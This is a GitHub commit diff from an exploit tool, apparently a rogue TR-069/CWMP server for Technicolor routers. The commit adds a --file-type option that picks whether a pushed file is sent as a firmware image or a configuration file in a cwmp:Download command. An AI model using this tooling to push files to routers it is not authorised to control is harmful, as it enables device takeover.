Skip to content

Commit 8232ac2

Browse files
committedJan 15, 2020
add --file-type to select cwmp type
1 parent 7ce4f3f commit 8232ac2

File tree

9 files changed

+70
-41
lines changed

9 files changed

+70
-41
lines changed
 

‎dist/args.js

+9-1
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,16 @@
1+
var snakeToCamel;
2+
3+
snakeToCamel = function(s) {
4+
return s.replace(/(\-\w)/g, function(m) {
5+
return m[1].toUpperCase();
6+
});
7+
};
8+
19
module.exports = process.argv.slice(2, process.argv.length).reduce(function(args, str) {
210
var arg, flag, value;
311
arg = str.split('=');
412
flag = arg[0].slice(2, arg[0].length);
513
value = arg[1] || true;
6-
args[flag] = value;
14+
args[snakeToCamel(flag)] = value;
715
return args;
816
}, {});

‎dist/http/cwmp/index.js

+18-5
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,12 @@
11
'use strict';
2-
var createSoapEnv, device, env, file, finished, methods, parse, ref, request, response, set, stage;
2+
var args, createSoapEnv, device, env, file, fileTypes, finished, methods, parse, ref, request, response, set, stage;
33

4-
ref = require('./xml'), parse = ref.parse, methods = ref.methods, createSoapEnv = ref.createSoapEnv;
4+
ref = require('./xml'), parse = ref.parse, methods = ref.methods, createSoapEnv = ref.createSoapEnv, fileTypes = ref.fileTypes;
55

66
file = require('../file');
77

8+
args = require('../../args');
9+
810
stage = null;
911

1012
device = {};
@@ -75,9 +77,20 @@ request = function(url, req, res) {
7577
console.log('>>> EMPTY REQUEST');
7678
console.dir([req.headers, req.body]);
7779
res.name = 'cwmp:Download';
78-
res.fileType = '3 Vendor Configuration File';
79-
res.fileSize = file.sts.length;
80-
res.url = url + "file.sts";
80+
if (args.fileType && (fileTypes[args.fileType] != null)) {
81+
res.fileType = fileTypes[args.fileType];
82+
} else {
83+
res.fileType = (function() {
84+
switch (file.ext) {
85+
case '.rbi':
86+
return '1 Firmware Upgrade Image';
87+
case '.sts':
88+
return '3 Vendor Configuration File';
89+
}
90+
})();
91+
}
92+
res.fileSize = file.data.length;
93+
res.url = "" + url + file.name;
8194
}
8295
res.env = env.join(' ');
8396
return response(res);

‎dist/http/cwmp/xml.js

+8
Original file line numberDiff line numberDiff line change
@@ -125,3 +125,11 @@ exports.methods = methods = {
125125
exports.createSoapEnv = function(res, headers) {
126126
return "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<soap-env:Envelope " + (res.env || '') + ">\n <soap-env:Header>\n <cwmp:ID soap-env:mustUnderstand=\"1\">" + res.id + "</cwmp:ID>\n </soap-env:Header>\n <soap-env:Body>\n " + (methods[res.name](res, headers)) + "\n </soap-env:Body>\n</soap-env:Envelope>";
127127
};
128+
129+
exports.fileTypes = {
130+
1: '1 Firmware Upgrade Image',
131+
2: '2 Web Content',
132+
3: '3 Vendor Configuration File',
133+
4: '4 Tone File',
134+
5: '5 Ringer File'
135+
};

‎dist/http/file.js

+2-1
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

‎dist/http/index.js

+13-28
Original file line numberDiff line numberDiff line change
@@ -18,27 +18,30 @@ cwmp = require('./cwmp');
1818

1919
module.exports = function(ip, port, url) {
2020
var e, srv;
21-
if (args.sts) {
21+
if (args.file) {
22+
file.name = path.basename(args.file);
2223
try {
23-
file.sts = readFileSync(args.sts);
24+
file.data = readFileSync(args.file);
2425
} catch (error) {
2526
e = error;
2627
throw e;
2728
}
2829
}
29-
file.sts = Buffer.from(file.sts).toString('utf8').replace('{{url}}', url, 'utf8');
30-
route.get('/file.sts', function(req, res) {
31-
var headers, stream;
32-
console.log('>>> STS REQUEST');
30+
file.data = Buffer.from(file.data).toString('utf8').replace('{{url}}', url, 'utf8');
31+
file.ext = path.extname(file.name);
32+
route.get("/" + file.name, function(req, res) {
33+
var ext, headers, stream;
34+
ext = file.ext.toUpperCase();
35+
console.log(">>> " + ext + " REQUEST");
3336
headers = {
3437
'Content-Type': 'text/plain',
35-
'Content-Length': file.sts.length
38+
'Content-Length': file.data.length
3639
};
37-
console.log('>>> STS RESPONSE');
38-
console.dir([headers, file.sts.toString('utf8')]);
40+
console.log('>>> #{ ext } RESPONSE');
41+
console.dir([headers, file.data.toString('utf8')]);
3942
res.writeHead(200, headers);
4043
stream = new Duplex();
41-
stream.push(file.sts);
44+
stream.push(file.data);
4245
stream.push(null);
4346
return stream.pipe(res);
4447
}).get('/done', function(req, res) {
@@ -49,24 +52,6 @@ module.exports = function(ip, port, url) {
4952
}, 20000);
5053
res.writeHead(200);
5154
return res.end();
52-
}).get('/{rbi}(.*?).rbi', function(req, res) {
53-
var fp, headers, stats, stream;
54-
console.log('>>> RBI REQUEST');
55-
fp = path.join(process.cwd(), req.params.rbi, '.rbi');
56-
if (existsSync(fp)) {
57-
stats = statSync(fp);
58-
headers = {
59-
'Content-Type': 'text/plain',
60-
'Content-Length': stats.size
61-
};
62-
stream = createReadStream(fp);
63-
console.log('>>> RBI RESPONSE');
64-
console.dir([headers, fp]);
65-
res.writeHead(200, headers);
66-
return stream.pipe(res);
67-
} else {
68-
return res.writeHead(404);
69-
}
7055
}).post('/', cwmp(url));
7156
srv = createServer(route);
7257
srv.keepAliveTimeout = 30000;

‎package.json

+1-1
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
{
22
"name": "tch-exploit",
3-
"version": "2.0.1-rc6",
3+
"version": "2.0.1-rc7",
44
"main": "dist/index.js",
55
"bin": "dist/index.js",
66
"scripts": {

‎src/args.coffee

+4-1
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,6 @@
1+
snakeToCamel = (s) ->
2+
s.replace /(\-\w)/g, (m) ->
3+
m[1].toUpperCase()
14

25
module.exports = process.argv
36
.slice 2, process.argv.length
@@ -6,6 +9,6 @@ module.exports = process.argv
69
flag = arg[0].slice 2, arg[0].length
710
value = arg[1] or true
811

9-
args[flag] = value
12+
args[snakeToCamel(flag)] = value
1013
args
1114
, {}

‎src/http/cwmp/index.coffee

+8-4
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,9 @@
11
'use strict'
22

3-
{ parse, methods, createSoapEnv } = require './xml'
3+
{ parse, methods, createSoapEnv, fileTypes } = require './xml'
44

55
file = require '../file'
6+
args = require '../../args'
67

78
stage = null
89
device = {}
@@ -70,9 +71,12 @@ request = (url, req, res) ->
7071

7172
res.name = 'cwmp:Download'
7273

73-
res.fileType = switch file.ext
74-
when '.rbi' then '1 Firmware Upgrade Image'
75-
when '.sts' then '3 Vendor Configuration File'
74+
if args.fileType and fileTypes[args.fileType]?
75+
res.fileType = fileTypes[args.fileType]
76+
else
77+
res.fileType = switch file.ext
78+
when '.rbi' then '1 Firmware Upgrade Image'
79+
when '.sts' then '3 Vendor Configuration File'
7680

7781
res.fileSize = file.data.length
7882
res.url = "#{ url }#{file.name}"

‎src/http/cwmp/xml.coffee

+7
Original file line numberDiff line numberDiff line change
@@ -133,3 +133,10 @@ exports.createSoapEnv = (res, headers) ->
133133
#{ methods[res.name] res, headers }
134134
</soap-env:Body>
135135
</soap-env:Envelope>"""
136+
137+
exports.fileTypes =
138+
1: '1 Firmware Upgrade Image'
139+
2: '2 Web Content'
140+
3: '3 Vendor Configuration File'
141+
4: '4 Tone File'
142+
5: '5 Ringer File'

0 commit comments

Comments
 (0)
Please sign in to comment.